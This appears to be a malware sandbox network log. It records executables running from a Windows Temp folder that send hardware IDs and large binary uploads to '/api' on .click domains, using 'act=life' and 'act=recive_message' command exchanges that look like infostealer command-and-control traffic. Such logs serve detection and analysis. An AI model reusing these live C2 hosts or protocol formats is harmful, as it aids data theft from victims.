2024-12-20 08:12:22 UTC	15331	OUT	Data Raw: 2d 2d 30 56 35 49 54 4a 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 56 35 49 54 4a 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 56 35 49 54 4a 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 30 56 35 49 54 4a 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: --0V5ITJXFContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--0V5ITJXFContent-Disposition: form-data; name="pid"2--0V5ITJXFContent-Disposition: form-data; name="lid"9Z1cyc----0V5ITJXFContent-Disposition:
2024-12-20 08:12:22 UTC	2767	OUT	Data Raw: f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 d7 e9 19 4d f6 c6 b5 e8 Data Ascii: z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{M
2024-12-20 08:12:23 UTC	1140	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hj5833c6546h8obtqeva1nno9t; expires=Tue, 15 Apr 2025 01:59:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EpMqsns%2F%2Bj6ToEGEyl6iZqw7GzhLb4djJpFGsqYohZnZiEHPQt3hAgIHwTsUCCxnKdXyBrGGVDscTPWq%2FzdHFsoijBXOIOhLUuHI%2FloG3MqSheIWbsrdjDC5iLnTUCK8%2BI%2BtOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2ac1ec46c402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1612&rtt_var=627&sent=18&recv=23&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19051&delivery_rate=1714621&cwnd=166&unsent_bytes=0&cid=957ad6662f42dda5&ts=1669&x=0"
2024-12-20 08:12:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49799	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:25 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IPPRXLX9E00FNFYP2R4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8785 Host: lossekniyyt.click
2024-12-20 08:12:25 UTC	8785	OUT	Data Raw: 2d 2d 49 50 50 52 58 4c 58 39 45 30 30 46 4e 46 59 50 32 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 50 50 52 58 4c 58 39 45 30 30 46 4e 46 59 50 32 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 50 50 52 58 4c 58 39 45 30 30 46 4e 46 59 50 32 52 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a Data Ascii: --IPPRXLX9E00FNFYP2R4Content-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--IPPRXLX9E00FNFYP2R4Content-Disposition: form-data; name="pid"2--IPPRXLX9E00FNFYP2R4Content-Disposition: form-data; name="lid"9Z1cyc--
2024-12-20 08:12:26 UTC	1145	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qvge2a926dkvms5nutasetnch7; expires=Tue, 15 Apr 2025 01:59:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dIpKHV%2BFR5sT7fvVxwO9T%2BCTafRK28PHwv426Vk%2FxhKN4cpIkR09%2BO63ir2BDOd96vNnm%2Bm8x%2Bx%2B4iMAodvAWeEp%2Bd%2BGZ4Pd5tVmPuOldeJWEm7ECWDIbZ7RR5F2iw5qvmJ3tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2ad30ea8423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1603&rtt_var=606&sent=12&recv=15&lost=0&retrans=0&sent_bytes=2841&recv_bytes=9726&delivery_rate=1798029&cwnd=186&unsent_bytes=0&cid=007d74eb86fcabbe&ts=1015&x=0"
2024-12-20 08:12:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49806	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:27 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cheapptaxysu.click
2024-12-20 08:12:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 08:12:27 UTC	556	IN	HTTP/1.1 403 Forbidden Date: Fri, 20 Dec 2024 08:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OickvX5hxFR00Epd3aXOnrfurvBJQDoFoiCWN7hZxfJVjm3M4VimdJj7XIMPJYcoY4y%2BRptWctmbZ5HnZxPGRYchfM0LDt1lQ87VHRDklayhm3LV34ciHuTCGSQrd%2FLhRJtdGI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2ae00f3443bd-EWR
2024-12-20 08:12:27 UTC	813	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-20 08:12:27 UTC	1369	IN	Data Raw: 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 Data Ascii: yles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById(
2024-12-20 08:12:27 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action
2024-12-20 08:12:27 UTC	1005	IN	Data Raw: 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d Data Ascii: "cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Perform
2024-12-20 08:12:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49807	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:27 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MHIJ8YC8R68 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20390 Host: lossekniyyt.click
2024-12-20 08:12:27 UTC	15331	OUT	Data Raw: 2d 2d 4d 48 49 4a 38 59 43 38 52 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 48 49 4a 38 59 43 38 52 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 48 49 4a 38 59 43 38 52 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4d 48 49 4a 38 59 43 38 52 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --MHIJ8YC8R68Content-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--MHIJ8YC8R68Content-Disposition: form-data; name="pid"3--MHIJ8YC8R68Content-Disposition: form-data; name="lid"9Z1cyc----MHIJ8YC8R68Content-D
2024-12-20 08:12:27 UTC	5059	OUT	Data Raw: 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c Data Ascii: lrQMn 64F6(X&7~`aO@dR<
2024-12-20 08:12:28 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ij1uj92qvthdt18b40und7s26b; expires=Tue, 15 Apr 2025 01:59:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTcyXn44jlJZQLH0BtJ0tdX581qLn9kkHpe0FmnKbmQC%2FAxoR0q8DfuGMJfa6%2BD4w68W%2FXUjD7Mx14jDdrWjzaP43eFUHqJzP69UuH%2BC00m07v7ymI9tj1Gphl%2FehJnYziUiKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2ae07a7b42a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1584&rtt_var=604&sent=18&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21346&delivery_rate=1794714&cwnd=160&unsent_bytes=0&cid=08337d03dbe10e24&ts=1000&x=0"
2024-12-20 08:12:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49812	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:29 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: cheapptaxysu.click
2024-12-20 08:12:29 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--&j=
2024-12-20 08:12:29 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=61oap7e4u9rrnunci8h7k61s02; expires=Tue, 15 Apr 2025 01:59:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BgpC%2BMbjVdZ81tNNYkkYkQdHFcKbkqOUPHLTs%2Fd%2FmikpgQcDEHxJeHUo3WPXa3T9g5LvoGbyUnEnpk8mNGA6kk02eI77LF%2Fom2AaQxLrE5VRRlLygJsCSE0sQPcCwsC9T7ikVME%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2aeb3d7e7288-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1969&rtt_var=756&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1033&delivery_rate=1429970&cwnd=245&unsent_bytes=0&cid=33df62ce6fc913d2&ts=798&x=0"
2024-12-20 08:12:29 UTC	237	IN	Data Raw: 34 36 61 0d 0a 33 6f 70 34 50 50 76 6b 77 4f 35 4f 61 6d 46 59 56 74 49 78 57 48 64 69 6c 62 32 57 43 37 48 78 34 2f 4b 57 57 67 77 4a 68 65 43 6c 71 41 34 65 77 64 44 73 7a 44 30 50 51 32 49 69 6f 45 51 39 57 30 44 30 32 62 51 78 31 35 43 50 67 66 4e 32 4c 6e 2f 6f 77 75 54 73 47 56 43 49 67 65 7a 4d 4b 78 4a 44 59 67 32 70 45 7a 30 5a 51 4b 2b 66 38 32 48 54 6b 49 2b 51 39 7a 46 6a 65 65 6d 44 74 75 59 66 56 4a 36 48 70 49 38 69 42 77 51 39 4d 37 4e 62 4e 68 34 50 2f 64 43 30 4a 35 4f 55 6d 64 43 73 65 45 46 73 38 59 47 54 36 77 74 58 32 5a 6e 73 6c 57 77 50 44 33 70 73 38 46 41 39 46 51 37 7a 32 66 31 6a 32 5a 6d 48 6b 66 49 77 66 47 44 6a 69 4c 62 6f 48 46 57 55 6a 72 43 43 4b 41 41 50 4f 7a 6d 7a Data Ascii: 46a3op4PPvkwO5OamFYVtIxWHdilb2WC7Hx4/KWWgwJheClqA4ewdDszD0PQ2IioEQ9W0D02bQx15CPgfN2Ln/owuTsGVCIgezMKxJDYg2pEz0ZQK+f82HTkI+Q9zFjeemDtuYfVJ6HpI8iBwQ9M7NbNh4P/dC0J5OUmdCseEFs8YGT6wtX2ZnslWwPD3ps8FA9FQ7z2f1j2ZmHkfIwfGDjiLboHFWUjrCCKAAPOzmz
2024-12-20 08:12:29 UTC	900	IN	Data Raw: 45 33 52 56 42 2b 2b 66 72 43 6d 41 6f 59 4b 42 35 53 31 6a 65 2b 48 43 6f 36 59 44 48 70 36 4b 34 74 52 73 41 41 38 30 4d 62 4e 63 50 52 51 41 35 64 44 30 61 74 75 62 68 5a 72 37 4e 32 46 6c 37 59 57 30 34 52 31 52 6e 6f 36 6b 67 79 39 49 54 58 6f 7a 71 42 4e 69 56 53 44 6e 33 50 64 39 33 6f 4c 42 6a 37 6f 68 4c 6d 7a 72 77 75 53 6f 48 46 43 59 69 36 4b 65 4a 41 4d 49 50 79 61 37 57 6a 63 59 41 50 72 56 2b 32 72 54 6c 49 75 61 2b 7a 4a 71 5a 75 71 45 76 4f 68 61 45 4e 6d 42 75 73 78 30 53 43 41 2f 4a 4c 64 66 4c 46 63 36 74 38 43 36 63 4a 4f 55 6a 64 43 73 65 47 5a 75 35 49 47 33 35 78 6c 57 6b 70 53 69 6e 69 6f 46 42 69 67 79 74 56 30 77 46 68 4c 39 30 66 4a 71 32 70 69 49 6c 66 4d 38 4c 69 57 6e 68 61 53 6f 51 68 36 34 69 36 6d 41 4a 68 38 44 65 69 76 Data Ascii: E3RVB++frCmAoYKB5S1je+HCo6YDHp6K4tRsAA80MbNcPRQA5dD0atubhZr7N2Fl7YW04R1Rno6kgy9ITXozqBNiVSDn3Pd93oLBj7ohLmzrwuSoHFCYi6KeJAMIPya7WjcYAPrV+2rTlIua+zJqZuqEvOhaENmBusx0SCA/JLdfLFc6t8C6cJOUjdCseGZu5IG35xlWkpSinioFBigytV0wFhL90fJq2piIlfM8LiWnhaSoQh64i6mAJh8Deiv
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 31 30 31 65 0d 0a 6b 62 44 76 44 4a 74 48 61 64 69 73 47 58 2b 48 67 32 4b 2b 69 4e 73 2b 41 61 58 35 32 4c 70 6f 30 68 42 41 6f 35 4f 4c 78 62 4e 78 6b 45 2b 4e 66 38 61 74 75 42 6a 35 37 79 50 6d 35 75 70 38 7a 38 37 77 49 65 77 63 61 47 67 6a 73 63 43 48 67 42 73 31 30 30 45 68 61 33 77 4c 70 77 6b 35 53 4e 30 4b 78 34 59 47 62 73 6a 72 76 68 47 31 32 5a 6a 4b 79 44 4a 67 41 4c 4f 6a 6d 78 57 44 49 54 44 66 7a 51 2b 32 37 62 6b 49 32 56 2b 54 73 75 4a 61 65 46 70 4b 68 43 48 72 79 49 6f 5a 30 39 53 6a 59 35 4f 72 35 55 4c 46 55 66 75 63 61 30 62 74 2f 54 32 64 44 2b 50 32 6c 76 36 6f 69 2f 37 42 35 54 6c 6f 2b 72 68 54 34 43 44 7a 51 6d 76 56 6b 2f 47 77 7a 79 30 50 52 6f 30 70 32 4c 6d 37 52 32 4c 6d 7a 2f 77 75 53 6f 4e 56 4f 4a 6c 4b 69 48 50 55 6f Data Ascii: 101ekbDvDJtHadisGX+Hg2K+iNs+AaX52Lpo0hBAo5OLxbNxkE+Nf8atuBj57yPm5up8z87wIewcaGgjscCHgBs100Eha3wLpwk5SN0Kx4YGbsjrvhG12ZjKyDJgALOjmxWDITDfzQ+27bkI2V+TsuJaeFpKhCHryIoZ09SjY5Or5ULFUfuca0bt/T2dD+P2lv6oi/7B5Tlo+rhT4CDzQmvVk/Gwzy0PRo0p2Lm7R2Lmz/wuSoNVOJlKiHPUo
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 42 4e 69 56 53 2f 30 79 66 34 70 7a 4e 32 59 30 50 4d 30 4c 6a 4f 6e 69 4c 44 73 47 56 4b 51 69 71 2b 4e 4b 41 38 4f 50 6a 53 32 56 54 38 55 43 2f 2f 54 2b 32 50 66 6c 34 32 5a 38 6a 52 74 61 4f 48 43 38 71 67 64 52 74 6e 65 34 71 30 68 41 77 38 36 4e 36 46 55 65 6c 74 41 2b 64 6e 30 4b 59 75 46 6b 59 66 7a 4a 79 42 79 70 34 57 77 71 45 49 65 6b 35 53 6e 67 69 67 43 42 6a 34 34 75 6c 4d 2f 42 77 6a 78 32 50 68 68 31 70 79 48 6c 66 6b 2f 5a 57 6a 31 6b 4c 2f 73 46 46 4c 5a 79 4f 4b 4c 4e 45 68 62 65 68 47 6e 55 43 6f 54 41 37 66 41 75 6e 43 54 6c 49 33 51 72 48 68 75 5a 65 75 4a 75 2b 4d 52 57 70 32 47 72 34 63 69 42 67 6f 32 50 4c 78 55 4b 42 67 46 2f 39 58 39 62 4e 2b 65 67 6f 4c 33 4f 